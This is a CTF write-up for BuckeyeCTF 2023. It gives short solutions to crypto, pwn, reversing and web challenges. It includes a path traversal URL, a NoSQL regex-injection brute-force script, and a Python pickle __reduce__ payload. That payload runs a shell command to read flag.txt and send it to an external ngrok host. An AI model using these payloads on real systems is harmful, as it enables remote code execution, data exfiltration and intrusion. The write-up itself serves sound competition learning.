BuckeyeCTF 2023 Writeups

BuckeyeCTF 2023 was quite enjoyable! I was able to solve 17/46 challenges.

Crypto

My First Hash

Here's your flag: 8f163b472e2164f66a5cd751098783f9 Psyc! Its encrypted. 
You think I'd give it to you that easily? 
Definitely don't look at my code tho -><- (when you find the flag, put it in bctf{} format)

Solution

Through examination of the my-first-hash.py, we can see that the flag is encoded using hashlib.md5. MD5 is known to be a vulnerable hash function. We can try putting the hashed flag into a site such as CrackStation.net, which yields the word orchestra.

Rivest-Shamir-Adleman

Big numbers make big security

Solution

The title gives the hint that the challenge is RSA encryption. We are provided with a Python file, which contains RSA variables p, q, and e, that output variables e, n, and c. Since p and q are provided (the prime numbers that are used as keys in RSA), we can use any RSA decoder to determine the answer. For example, we used dcode.fr.

Secret code

Here's your flag again: 1:10:d0:10:42:41:34:20:b5:40:03:30:91:c5:e1:e3:d2:a2:72:d1:61:d0:10:e3:a0:43:c1:01:10:b1:b1:b0:b1:40:9
LOL you snub_wrestle. Good luck trying to undo my xor key I used on each character of the flag.

Solution

The challenge hints that the cipher is XOR, and we can see that the encoding is hexadecimal. Therefore, in Cyberchef, we can use Search/Replace to remove colons, into From Hex, into XOR with snub_wrestle as the ASCII key to get the flag.

Electronical

We are provided with a link to a website. Through analysis of the source code, we can see that it performs AES-ECB encryption and appends the flag after the user input in the plaintext when encrypting. Through online research, it can be determined that AES-ECB is vulnerable to a “known plaintext attack.” We repurposed some code from others who solved similar challenges in the past in order to acquire the flag.

Misc

Needle in the Wifi Stack

We were given a pcap file. In Wireshark, we exported the file into a text file, at which we extracted the base64 encoded SSIDs programatically and searched for the flag.

replace-me

The file dist was identified with file as an Android boot.img, of which I am all too familiar from Sailfish OS porting. We used the Android Image Kitchen to extract the boot.img file. We looked around in the ramdisk and found an image file that contained the flag in plain view, at res/images/changer/battery_fail.png

Pwn

Beginner Menu

Through analysis of the beginner-menu.c code, each if case called exit, but we could see that there was no if case for atoi(buf) < 0. Therefore we entered a negative number which caused print_flag to be called, since it was after all the if statements.

Starter Buffer

Through examination of the code, we could determine that we wanted to overwrite an array with 0x45. Therefore, we entered above 50 characters (the size of the char array) – so about 70 characters, which caused the other variable to contain 0x45, therefore causing the flag to be printed.

Igpay Atinlay Natorlay

Through examination of the Rust documentation, it can be determined that entering 16 bit characters, such as Chinese characters, into a char array and indexing that array causes Rust to panic. Therefore we entered 老虎 into the challenge, which gave us the flag.

Rev

Currency Convertor

We reverse engineered the converter.jar file using JD-GUI, and examined the source code. The flag was in plain sight.

8ball

We decompiled the 8ball binary using IDA. We determined that the code wanted the first command line argument (the name of the program) to magic8ball, so we renamed the binary accordingly. Next, we found that the word flag needed to be passed as the second argument, so we did so, calling the binary as ./magic8ball flag to acqire the flag.

Web

Triple D Columbus

Hi, I'm Guy Fieri, and we're rolling out looking for America's greatest diners, drive-ins, and dives.

https://triple-d-columbus.chall.pwnoh.io

Solution

Open the link and search for ‘bctf{’ in Inspect Element. Inspect Element

Spa

We looked in the Network Inspector and saw that the website was requesting the resource isAdmin and the server responded with JSON with {"isAdmin": false}. Therefore we used OWASP ZAP to set a breakpoint on requests to isAdmin and manually changed false to true. Then, the website displayed a dashboard link, which contained the flag.

Stray

We see that there is a possible path traversal attack, since the code is concatenating the user input variable category but there is a length check for category.length == 1. Therefore we tricked the length check by passing the parameter as an array, https://stray.chall.pwnoh.io/cat?category[]=../flag.txt since there was no type checking, which yielded the flag.

Text Adventure API

We see that the /api/load endpoint loads a Python pickle from the user. Therefore, we created a pickle file that implemented __reduce__ to load the flag, as follows:

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('python -c \'import urllib.request; file=open("flag.txt","r"); a=file.readline(); contents = urllib.request.urlopen("https://NGROK_URL" + a).read()\'')
        return os.system, (cmd,)


if __name__ == '__main__':
    with open('filename.pkl', 'wb') as handle:
         pickle.dump(RCE(), handle, protocol=pickle.HIGHEST_PROTOCOL)

This file caused the flag.txt contents to be sent to an HTTP server, which we relayed using ngrok to get on the public internet.

Area51

Through examination of the code, we see that Mongo find is being called without type checking when the session cookie is loaded. Therefore, we were able to brute force the session cookie, since we could use NoSQL injection to provide a Regex that matched the entries in the Mongo database.

We used this code:

import requests
import string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "{}_@{}-/()!\"$%=^[]:;"

flag = "bctf{"
for i in range(21):
    print("[i] Looking for char number "+str(i+1))
    for char in alphabet:
        cookies =  dict(session='{"token": {"$regex": "^' + flag + char + '"}}');
        print (cookies)
        r = requests.get("https://area51.chall.pwnoh.io/", cookies=cookies)
        if ("Pardon" in r.text):
            flag += char
            print("[+] Flag: "+flag)
            break

Certs

We examined the code and determined that a JSON Web Token (JWT) was used to verify the authenticity of the PDF certificates. The JWT was inputted as a one-point font line of text in the upper left corner of the PDF. It was signed using a RS256 public-private key pair. However, we saw that the JWT was being verified in the code without checking that the proper algorithm was used. Additionally the public key was provided. Therefore, we were able to craft an HS256 JWT that used the provided public key and submit it in the pdf to get the flag.


BuckeyeCTF 2023 Challenge Writeups

By Heng Ye, 2023-10-03